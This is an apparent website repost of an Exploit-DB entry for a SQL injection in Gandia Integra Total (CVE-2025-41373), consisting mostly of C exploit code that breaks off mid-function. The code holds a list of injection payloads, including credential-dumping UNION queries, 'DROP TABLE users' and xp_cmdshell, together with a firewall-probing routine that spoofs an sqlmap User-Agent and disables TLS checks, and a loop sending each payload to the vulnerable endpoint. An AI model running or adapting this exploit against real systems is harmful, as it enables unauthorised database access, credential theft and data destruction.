{"id":9612,"date":"2025-08-03T01:54:05","date_gmt":"2025-08-03T01:54:05","guid":{"rendered":"http:\/\/localhost\/?p=9612"},"modified":"2025-08-03T01:54:05","modified_gmt":"2025-08-03T01:54:05","slug":"gandia-integra-total-4422361-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=9612","title":{"rendered":"Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52388<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-08-03T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-08-03T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">8.7<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:L\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-41373<\/li>\n<li>CVE-2025-54589<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n\/  * Author        : Byte Reaper  * CVE           : CVE-2025-41373&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n\/*<br \/>\n<br \/> * Author        : Byte Reaper<br \/>\n<br \/> * CVE           : CVE-2025-41373<br \/>\n<br \/> * Vulnerability : SQL<br \/>\n<br \/> * Affected Path : \/encuestas\/integraweb_v4\/integra\/html\/view\/hislistadoacciones.php?idestudio=<input><br \/>\n<br \/> * Affected Versions : 2.1.2217.3 to v4.4.2236.1<br \/>\n<br \/> * Description:<br \/>\n<br \/> *   This endpoint concatenates the `idestudio` parameter directly into an SQL query<br \/>\n<br \/> *   without proper sanitization or parameterization, allowing an attacker to inject<br \/>\n<br \/> *   arbitrary SQL. We leverage both boolean-based and time-based techniques to detect.<br \/>\n<br \/>*\/<\/p>\n<p>#include <stdio.h><br \/>\n<br \/>#include <string.h><br \/>\n<br \/>#include <curl\/curl.h><br \/>\n<br \/>#include &#8220;argparse.h&#8221;<br \/>\n<br \/>#include <stdlib.h><br \/>\n<br \/>#include <time.h><br \/>\n<br \/>#include <unistd.h><\/p>\n<p>#define FULL_URL 4300<br \/>\n<br \/>int verbose = 0;<br \/>\n<br \/>int useC = 0;<br \/>\n<br \/>const char *url = NULL;<\/p>\n<p>const char *cookies = NULL;<\/p>\n<p>void sleepSyscall(void)<br \/>\n<br \/>{<br \/>\n<br \/>    struct timespec sleepR;<br \/>\n<br \/>    sleepR.tv_sec  = 1;<br \/>\n<br \/>    sleepR.tv_nsec = 0;<\/p>\n<p>    __asm__ volatile<br \/>\n<br \/>    (<br \/>\n<br \/>        &#8220;mov $35, %%rax\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov %0, %%rdi\\n\\t&#8221;<br \/>\n<br \/>        &#8220;xor %%rsi, %%rsi\\n\\t&#8221;<br \/>\n<br \/>        &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>        :<br \/>\n<br \/>        : &#8220;r&#8221; (&#038;sleepR)<br \/>\n<br \/>        : &#8220;rax&#8221;,<br \/>\n<br \/>          &#8220;rdi&#8221;,<br \/>\n<br \/>          &#8220;rsi&#8221;,<br \/>\n<br \/>          &#8220;rcx&#8221;,<br \/>\n<br \/>          &#8220;r11&#8221;,<br \/>\n<br \/>          &#8220;memory&#8221;<br \/>\n<br \/>    );<br \/>\n<br \/>}<\/p>\n<p>void exitAssembly(void )<br \/>\n<br \/>{<br \/>\n<br \/>    __asm__ volatile<br \/>\n<br \/>    (<br \/>\n<br \/>        &#8220;xor %%rdi, %%rdi\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov $0x3C, %%rax\\n\\t&#8221;<br \/>\n<br \/>        &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>        :<br \/>\n<br \/>        :<br \/>\n<br \/>        : &#8220;rax&#8221;,<br \/>\n<br \/>          &#8220;rdi&#8221;<br \/>\n<br \/>    );<br \/>\n<br \/>}<\/p>\n<p>void uid(void)<br \/>\n<br \/>{<br \/>\n<br \/>    const char *mes1 = &#8220;\\e[1;36m[+] Run Exploit Root Successfully\\e[0m\\n&#8221;;<br \/>\n<br \/>    size_t len1 = strlen(mes1);<br \/>\n<br \/>    const char *mes2 = &#8220;\\e[1;31m[-] Please Run Exploit In Root, Exit&#8230;\\e[0m\\n&#8221;;<br \/>\n<br \/>    size_t len2  = strlen(mes2);<\/p>\n<p>    __asm__ volatile(<br \/>\n<br \/>        &#8220;mov $107, %%rax\\n\\t&#8221;<br \/>\n<br \/>        &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>        &#8220;cmp $0, %%rax\\n\\t&#8221;<br \/>\n<br \/>        &#8220;JZ .root\\n\\t&#8221;<br \/>\n<br \/>        &#8220;jmp .not_root\\n\\t&#8221;<br \/>\n<br \/>        &#8220;.root:\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov $1, %%rax\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov $1, %%rdi\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov %[mes1], %%rsi\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov %[len1], %%rdx\\n\\t&#8221;<br \/>\n<br \/>        &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>        &#8220;jmp .end\\n\\t&#8221;<br \/>\n<br \/>        &#8220;.not_root:\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov $1, %%rax\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov $1, %%rdi\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov %[mes2], %%rsi\\n\\t&#8221;<br \/>\n<br \/>        &#8220;mov %[len2], %%rdx\\n\\t&#8221;<br \/>\n<br \/>        &#8220;syscall\\n\\t&#8221;<\/p>\n<p>        &#8220;.end:\\n\\t&#8221;<br \/>\n<br \/>        :<br \/>\n<br \/>        : [mes1] &#8220;r&#8221; (mes1),<br \/>\n<br \/>          [len1] &#8220;r&#8221; (len1),<br \/>\n<br \/>          [mes2] &#8220;r&#8221; (mes2),<br \/>\n<br \/>          [len2] &#8220;r&#8221; (len2)<br \/>\n<br \/>        : &#8220;rax&#8221;,<br \/>\n<br \/>          &#8220;rdi&#8221;,<br \/>\n<br \/>          &#8220;rsi&#8221;,<br \/>\n<br \/>          &#8220;rdx&#8221;,<br \/>\n<br \/>          &#8220;rcx&#8221;,<br \/>\n<br \/>          &#8220;r11&#8221;,<br \/>\n<br \/>          &#8220;memory&#8221;<br \/>\n<br \/>    );<br \/>\n<br \/>}<br \/>\n<br \/>const char *payload[] =<br \/>\n<br \/>{<br \/>\n<br \/>    &#8220;&#8216; OR &#8216;1&#8217;=&#8217;1&#8221;,<br \/>\n<br \/>    &#8220;\\&#8221; OR \\&#8221;1\\&#8221;=\\&#8221;1&#8243;,<br \/>\n<br \/>    &#8220;&#8216; OR 1=1 &#8211;&#8220;,<br \/>\n<br \/>    &#8220;\\&#8221; OR 1=1 &#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; OR &#8216;1&#8217;=&#8217;1&#8242; &#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; OR 1=1#&#8221;,<br \/>\n<br \/>    &#8220;&#8216; OR 1=1\/*&#8221;,<br \/>\n<br \/>    &#8220;admin&#8217;&#8211;&#8220;,<br \/>\n<br \/>    &#8220;admin&#8217; #&#8221;,<br \/>\n<br \/>    &#8220;admin&#8217;\/*&#8221;,<br \/>\n<br \/>    &#8220;&#8216; OR 1=1&#8211; -&#8220;,<br \/>\n<br \/>    &#8220;&#8216; OR\/**\/1=1&#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216;\/**\/OR\/**\/1=1#&#8221;,<br \/>\n<br \/>    &#8220;&#8216; OR%%201=1&#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; OR%%091=1&#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; OR%0a1=1&#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; OR%%0b1=1&#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; oR 1=1&#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; Or 1=1&#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; oR\/**\/1=1&#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; OR 0x31=0x31&#8211;&#8220;,<br \/>\n<br \/>    &#8220;1; DROP TABLE users &#8211;&#8220;,<br \/>\n<br \/>    &#8220;1; EXEC xp_cmdshell(&#8216;dir&#8217;) &#8211;&#8220;,<br \/>\n<br \/>    &#8220;UNION SELECT NULL,NULL,NULL &#8211;&#8220;,<br \/>\n<br \/>    &#8220;UNION SELECT username,password FROM users &#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; UNION SELECT NULL,NULL,NULL &#8211;&#8220;,<br \/>\n<br \/>    &#8220;&#8216; UNION SELECT NULL,NULL,NULL#&#8221;,<br \/>\n<br \/>    &#8220;,(select * from (select(sleep(4)))a)&#8221;,<br \/>\n<br \/>    &#8220;&#8216;;WAITFOR DELAY &#8216;0:0:4&#8217;&#8211;&#8220;,<\/p>\n<p>    NULL<br \/>\n<br \/>};<\/p>\n<p>const char *word[] =<br \/>\n<br \/>{<br \/>\n<br \/>    &#8220;SQL syntax&#8221;,<br \/>\n<br \/>    &#8220;syntax error&#8221;,<br \/>\n<br \/>    &#8220;mysql_fetch&#8221;,<br \/>\n<br \/>    &#8220;mysql_num_rows&#8221;,<br \/>\n<br \/>    &#8220;You have an error in your SQL syntax&#8221;,<br \/>\n<br \/>    &#8220;Warning: mysql&#8221;,<br \/>\n<br \/>    &#8220;Warning: pg_&#8221;,<br \/>\n<br \/>    &#8220;Unclosed quotation mark&#8221;,<br \/>\n<br \/>    &#8220;Microsoft OLE DB Provider for SQL Server&#8221;,<br \/>\n<br \/>    &#8220;Microsoft SQL Native Client error&#8221;,<br \/>\n<br \/>    &#8220;ODBC SQL Server Driver&#8221;,<br \/>\n<br \/>    &#8220;ORA-01756&#8221;,<br \/>\n<br \/>    &#8220;ORA-00933&#8221;,<br \/>\n<br \/>    &#8220;SQLSTATE&#8221;,<br \/>\n<br \/>    &#8220;PDOException&#8221;,<br \/>\n<br \/>    &#8220;invalid query&#8221;,<br \/>\n<br \/>    &#8220;mysql_numrows()&#8221;,<br \/>\n<br \/>    &#8220;mysql_result()&#8221;,<br \/>\n<br \/>    &#8220;mysql_query()&#8221;,<br \/>\n<br \/>    &#8220;Query failed&#8221;,<br \/>\n<br \/>    &#8220;Syntax error&#8221;,<br \/>\n<br \/>    &#8220;DB error&#8221;,<br \/>\n<br \/>    &#8220;error in your SQL syntax&#8221;,<br \/>\n<br \/>    &#8220;Unexpected end of SQL command&#8221;,<br \/>\n<br \/>    &#8220;Incorrect syntax near&#8221;,<br \/>\n<br \/>    &#8220;user&#8221;,<br \/>\n<br \/>    &#8220;admin&#8221;,<br \/>\n<br \/>    NULL<br \/>\n<br \/>};<\/p>\n<p>struct Mem<br \/>\n<br \/>{<br \/>\n<br \/>    char *buffer;<br \/>\n<br \/>    size_t len;<br \/>\n<br \/>};<br \/>\n<br \/>size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)<br \/>\n<br \/>{<br \/>\n<br \/>    size_t total = size * nmemb;<br \/>\n<br \/>    struct Mem *m = (struct Mem *)userdata;<br \/>\n<br \/>    char *tmp = realloc(m->buffer, m->len + total + 1);<br \/>\n<br \/>    if (tmp == NULL)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;31m[-] Failed to allocate memory!\\e[0m\\n&#8221;);<br \/>\n<br \/>        exitAssembly();<br \/>\n<br \/>    }<br \/>\n<br \/>    m->buffer = tmp;<br \/>\n<br \/>    memcpy(&#038;(m->buffer[m->len]), ptr, total);<br \/>\n<br \/>    m->len += total;<br \/>\n<br \/>    m->buffer[m->len] = &#8216;\\0&#8217;;<br \/>\n<br \/>    return total;<br \/>\n<br \/>}<br \/>\n<br \/>void clean(char *buffer, size_t len, CURL *curl,char *encode )<br \/>\n<br \/>{<br \/>\n<br \/>    free(buffer);<br \/>\n<br \/>    buffer = NULL;<br \/>\n<br \/>    len = 0;<br \/>\n<br \/>    curl_easy_cleanup(curl);<br \/>\n<br \/>    curl_free(encode);<br \/>\n<br \/>}<br \/>\n<br \/>int waf = 0;<br \/>\n<br \/>int wafD(const char *urlW)<br \/>\n<br \/>{<\/p>\n<p>    CURL *curl = curl_easy_init();<br \/>\n<br \/>    CURLcode res;<br \/>\n<br \/>    struct Mem wafServer;<br \/>\n<br \/>    wafServer.buffer= NULL;<br \/>\n<br \/>    wafServer.len = 0;<br \/>\n<br \/>    const char *payloadSql = &#8220;OR 1=1 &#8211;&#8220;;<br \/>\n<br \/>    char *encode = curl_easy_escape(curl,<br \/>\n<br \/>         payloadSql,<br \/>\n<br \/>          strlen(payloadSql));<br \/>\n<br \/>    char full[FULL_URL];<br \/>\n<br \/>    if (!encode)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;31m[-] Error Encode Payload !\\e[0m\\n&#8221;);<br \/>\n<br \/>        clean(wafServer.buffer,<br \/>\n<br \/>             wafServer.len,<br \/>\n<br \/>             curl,<br \/>\n<br \/>             encode);<br \/>\n<br \/>        exitAssembly();<br \/>\n<br \/>    }<br \/>\n<br \/>    int len = snprintf(full,<br \/>\n<br \/>        sizeof(full),<br \/>\n<br \/>         &#8220;%s\/encuestas\/integraweb_v4\/integra\/html\/view\/hislistadoacciones.php?idestudio=%s&#8221;,<br \/>\n<br \/>         urlW,<br \/>\n<br \/>         encode);<br \/>\n<br \/>    if (len < 0 || (size_t)len >= sizeof(full))<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;31m[-] FULL URL Is Long \\n&#8221;);<br \/>\n<br \/>        clean(wafServer.buffer, wafServer.len,curl,encode);<br \/>\n<br \/>        exitAssembly();<br \/>\n<br \/>    }<br \/>\n<br \/>    if (curl == NULL || !curl)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;31m[-] Error Create Object CURL !\\e[0m\\n&#8221;);<br \/>\n<br \/>        clean(wafServer.buffer,<br \/>\n<br \/>            wafServer.len,<br \/>\n<br \/>            curl,<br \/>\n<br \/>            encode);<br \/>\n<br \/>        exitAssembly();<br \/>\n<br \/>    }<br \/>\n<br \/>    int result = 0;<br \/>\n<br \/>    if (curl)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;35m===========================================================================================\\e[0m\\n&#8221;);<br \/>\n<br \/>        printf(&#8220;\\e[1;35m[+] Scan WAF Start&#8230;\\e[0m\\n&#8221;);<br \/>\n<br \/>        printf(&#8220;\\e[1;37m[+] FULL URL : %s\\e[0m\\n&#8221;, full);<br \/>\n<br \/>        curl_easy_setopt(curl,<br \/>\n<br \/>            CURLOPT_URL,<br \/>\n<br \/>            full);<br \/>\n<br \/>        curl_easy_setopt(curl,<br \/>\n<br \/>                CURLOPT_FOLLOWLOCATION,<br \/>\n<br \/>                1L);<br \/>\n<br \/>        curl_easy_setopt(curl,<br \/>\n<br \/>                CURLOPT_WRITEFUNCTION,<br \/>\n<br \/>                write_cb);<br \/>\n<br \/>        if (verbose)<br \/>\n<br \/>        {<br \/>\n<br \/>            printf(&#8220;\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;[Verbose Curl]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\e[0m\\n&#8221;);<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                    CURLOPT_VERBOSE,<br \/>\n<br \/>                    1L);<br \/>\n<br \/>        }<br \/>\n<br \/>        curl_easy_setopt(curl,<br \/>\n<br \/>                    CURLOPT_WRITEDATA,<br \/>\n<br \/>                    &#038;wafServer);<br \/>\n<br \/>        curl_easy_setopt(curl,<br \/>\n<br \/>                     CURLOPT_CONNECTTIMEOUT,<br \/>\n<br \/>                     5L);<br \/>\n<br \/>        sleepSyscall();<br \/>\n<br \/>        curl_easy_setopt(curl,<br \/>\n<br \/>                    CURLOPT_TIMEOUT,<br \/>\n<br \/>                    10L);<br \/>\n<br \/>        curl_easy_setopt(curl,<br \/>\n<br \/>                    CURLOPT_SSL_VERIFYPEER,<br \/>\n<br \/>                    0L);<br \/>\n<br \/>        curl_easy_setopt(curl,<br \/>\n<br \/>                CURLOPT_SSL_VERIFYHOST,<br \/>\n<br \/>             0L);<br \/>\n<br \/>        struct curl_slist *h = NULL;<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>            &#8220;User-Agent: sqlmap&#8221;);<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                &#8220;Accept-Encoding: gzip, deflate, br&#8221;);<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                &#8220;Accept-Language: en-US,en;q=0.5&#8221;);<br \/>\n<br \/>        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);<br \/>\n<br \/>        res = curl_easy_perform(curl);<br \/>\n<br \/>        curl_slist_free_all(h);<br \/>\n<br \/>        double timeWaf = 0;<br \/>\n<br \/>        if (res == CURLE_OK)<br \/>\n<br \/>        {<br \/>\n<br \/>            int a = 0;<br \/>\n<br \/>            int b =1;<br \/>\n<br \/>            int c = 3;<br \/>\n<br \/>            int d = 4;<br \/>\n<br \/>            long code;<br \/>\n<br \/>            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,<br \/>\n<br \/>                &#038;code);<br \/>\n<br \/>            curl_easy_getinfo(curl,<br \/>\n<br \/>                CURLINFO_TOTAL_TIME,<br \/>\n<br \/>                &#038;timeWaf);<\/p>\n<p>            printf(&#8220;\\e[1;36m[+] Check Http Code&#8230;\\e[0m\\n&#8221;);<br \/>\n<br \/>            printf(&#8220;\\e[1;32m[+] Http Code => %ld\\e[0m\\n&#8221;, code);<br \/>\n<br \/>            if (code == 500 || code == 403 || code == 406)<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\e[0m\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;\\e[1;34m[+] Http Code (500, 403, 406) !      \\e[0m\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;\\e[1;34m[+] Waf Detect (Page Not Found)   \\e[0m\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\e[0m\\n&#8221;);<br \/>\n<br \/>                a = 1;<br \/>\n<br \/>            }<br \/>\n<br \/>            else<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] Not Detected Waf (HTTP CODE) !\\e[0m\\n&#8221;);<br \/>\n<br \/>            }<\/p>\n<p>            printf(&#8220;\\e[1;36m[+] Check Response Server (NULL)\\e[0m\\n&#8221;);<br \/>\n<br \/>            const char *wordWaf[] =<br \/>\n<br \/>            {<br \/>\n<br \/>                &#8220;cloudflare&#8221;,<br \/>\n<br \/>                &#8220;sucuri&#8221;,<br \/>\n<br \/>                &#8220;mod_security&#8221;,<br \/>\n<br \/>                &#8220;incapsula&#8221;,<br \/>\n<br \/>                &#8220;akamai&#8221;,<br \/>\n<br \/>                &#8220;f5-big-ip&#8221;,<br \/>\n<br \/>                &#8220;waf&#8221;,<br \/>\n<br \/>                &#8220;firewall&#8221;,<br \/>\n<br \/>                &#8220;blocked&#8221;,<br \/>\n<br \/>                &#8220;access denied&#8221;,<br \/>\n<br \/>                &#8220;forbidden&#8221;,<br \/>\n<br \/>                &#8220;security&#8221;,<br \/>\n<br \/>                &#8220;protected by&#8221;,<br \/>\n<br \/>                &#8220;request rejected&#8221;,<br \/>\n<br \/>                &#8220;webshield&#8221;,<br \/>\n<br \/>                &#8220;ddos protection&#8221;,<br \/>\n<br \/>                &#8220;intrusion prevention&#8221;,<br \/>\n<br \/>                &#8220;proxy server&#8221;,<br \/>\n<br \/>                &#8220;bot detection&#8221;,<br \/>\n<br \/>                &#8220;deny&#8221;,<br \/>\n<br \/>                &#8220;you have been blocked&#8221;,<br \/>\n<br \/>                &#8220;unauthorized&#8221;,<br \/>\n<br \/>                &#8220;client blocked&#8221;,<br \/>\n<br \/>                &#8220;blocked by firewall&#8221;,<br \/>\n<br \/>                &#8220;bad request&#8221;,<br \/>\n<br \/>                &#8220;threat&#8221;,<br \/>\n<br \/>                &#8220;filtering&#8221;,<br \/>\n<br \/>                &#8220;deny access&#8221;,<br \/>\n<br \/>                &#8220;rule id&#8221;,<br \/>\n<br \/>                NULL<br \/>\n<br \/>            };<\/p>\n<p>            if (code >= 200 &#038;&#038; code < 300)\n<br \/>            {<br \/>\n<br \/>                if (wafServer.buffer)<br \/>\n<br \/>                {<br \/>\n<br \/>                    printf(&#8220;\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\e[0m\\n&#8221;);<br \/>\n<br \/>                    printf(&#8220;\\e[1;34m[+] Http Code (200,202&#8230;) !                               \\e[0m\\n&#8221;);<br \/>\n<br \/>                    printf(&#8220;\\e[1;34m[+] Waf Detect, Response is NULL And Http Code Positive \\e[0m\\n&#8221;);<br \/>\n<br \/>                    printf(&#8220;\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\e[0m\\n&#8221;);<br \/>\n<br \/>                    b = 1;<br \/>\n<br \/>                }<br \/>\n<br \/>                else<br \/>\n<br \/>                {<br \/>\n<br \/>                    printf(&#8220;\\e[1;31m[-] Response Buffer Not NULL\\e[0m\\n&#8221;);<br \/>\n<br \/>                    printf(&#8220;\\e[1;31m[-] Waf Not Detected (NULL Response)!\\e[0m\\n&#8221;);<br \/>\n<br \/>                }<\/p>\n<p>            }<br \/>\n<br \/>            printf(&#8220;\\e[1;36m[+] Check Response Buffer&#8230;\\n&#8221;);<br \/>\n<br \/>            for (int u = 0; wordWaf[u] != NULL; u++)<br \/>\n<br \/>            {<br \/>\n<br \/>                if (strstr(wafServer.buffer, wordWaf[u]) != NULL)<br \/>\n<br \/>                {<\/p>\n<p>                    printf(&#8220;\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\e[0m&#8221;);<br \/>\n<br \/>                    printf(&#8220;\\e[1;34m[+] Waf Detect, Word Waf Found                             \\e[0m\\n&#8221;);<br \/>\n<br \/>                    printf(&#8220;\\e[1;34m[+] Word : %s                                              \\e[0m\\n&#8221;, wordWaf[u]);<br \/>\n<br \/>                    printf(&#8220;\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\e[0m&#8221;);<br \/>\n<br \/>                    c = 1;<br \/>\n<br \/>                }<br \/>\n<br \/>                else<br \/>\n<br \/>                {<br \/>\n<br \/>                    if (verbose)<br \/>\n<br \/>                    {<br \/>\n<br \/>                        printf(&#8220;\\e[1;31m[-] Word Not Found in Response  : %s\\e[0m\\n&#8221;, wordWaf[u]);<br \/>\n<br \/>                        printf(&#8220;\\e[1;35m====================================================\\e[0m\\n&#8221;);<br \/>\n<br \/>                    }<br \/>\n<br \/>                }<\/p>\n<p>            }<br \/>\n<br \/>            printf(&#8220;\\e[1;36m[+] Check Time Response Server&#8230;\\e[0m\\n&#8221;);<br \/>\n<br \/>            if (timeWaf >= 3.0)<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;34m[+] Suspicious delay in response: %.2f sec\\e[0m\\n&#8221;, timeWaf);<br \/>\n<br \/>            }<br \/>\n<br \/>            else<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] Not Detect Waf (Time) !\\e[0m\\n&#8221;);<\/p>\n<p>            }<br \/>\n<br \/>            printf(&#8220;\\e[1;35m==========================\\e[0m\\n&#8221;);<br \/>\n<br \/>            printf(&#8220;\\e[1;33m[+] Result Scan : \\e[0m\\n&#8221;);<\/p>\n<p>            if (a || b || c || d)<br \/>\n<br \/>            {<\/p>\n<p>                printf(&#8220;\\e[1;31m[-] Waf Detected \\e[0m\\n&#8221;);<br \/>\n<br \/>                result  = 0;<br \/>\n<br \/>            }<br \/>\n<br \/>            else<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;34m[+] Not Detect Waf !\\e[0m\\n&#8221;);<br \/>\n<br \/>                result =1;<br \/>\n<br \/>            }<br \/>\n<br \/>            printf(&#8220;\\e[1;35m===========================================================================================\\e[0m\\n&#8221;);<\/p>\n<p>        }<br \/>\n<br \/>        else<br \/>\n<br \/>        {<br \/>\n<br \/>            printf(&#8220;\\e[1;31m[-] No connection reset error.\\e[0m\\n&#8221;);<br \/>\n<br \/>            printf(&#8220;\\e[1;31m[-] Error Send Request, Please Check Your Connection !\\e[0m\\n&#8221;);<br \/>\n<br \/>            printf(&#8220;\\e[1;31m[-] Error : %s\\e[0m\\n&#8221;, curl_easy_strerror(res));<br \/>\n<br \/>        }<br \/>\n<br \/>    }<br \/>\n<br \/>    curl_easy_cleanup(curl);<br \/>\n<br \/>    free(wafServer.buffer);<br \/>\n<br \/>    wafServer.buffer = NULL;<br \/>\n<br \/>    wafServer.len =  0;<br \/>\n<br \/>    return result;<br \/>\n<br \/>}<\/p>\n<p>void httpRequest(const char *url)<br \/>\n<br \/>{<\/p>\n<p>    CURL *curl = curl_easy_init();<br \/>\n<br \/>    struct Mem response;<br \/>\n<br \/>    CURLcode res;<br \/>\n<br \/>    response.buffer =NULL;<br \/>\n<br \/>    response.len = 0;<br \/>\n<br \/>    if (!curl || curl == NULL)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;31m[-] Error Create Object CURL !\\e[0m\\n&#8221;);<br \/>\n<br \/>        printf(&#8220;\\e[1;31m[-] Please Check Your Connection\\e[0m\\n&#8221;);<br \/>\n<br \/>        exitAssembly();<br \/>\n<br \/>    }<br \/>\n<br \/>    int y  = 0;<br \/>\n<br \/>    if (curl)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;34m[+] Create CURL Successfully\\e[0m\\n&#8221;);<br \/>\n<br \/>        for (int pL = 0; payload[pL] != NULL; pL++)<br \/>\n<br \/>        {<br \/>\n<br \/>            char full[FULL_URL];<br \/>\n<br \/>            char *encodePayload = curl_easy_escape(curl,<br \/>\n<br \/>                 payload[pL],<br \/>\n<br \/>                 strlen(payload[pL]));<br \/>\n<br \/>            if (!encodePayload)<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] Error Encode Payload !\\e[0m\\n&#8221;);<br \/>\n<br \/>                clean(response.buffer,<br \/>\n<br \/>                     response.len,<br \/>\n<br \/>                      curl,<br \/>\n<br \/>                     encodePayload);<br \/>\n<br \/>                exitAssembly();<br \/>\n<br \/>            }<\/p>\n<p>            int lenF = 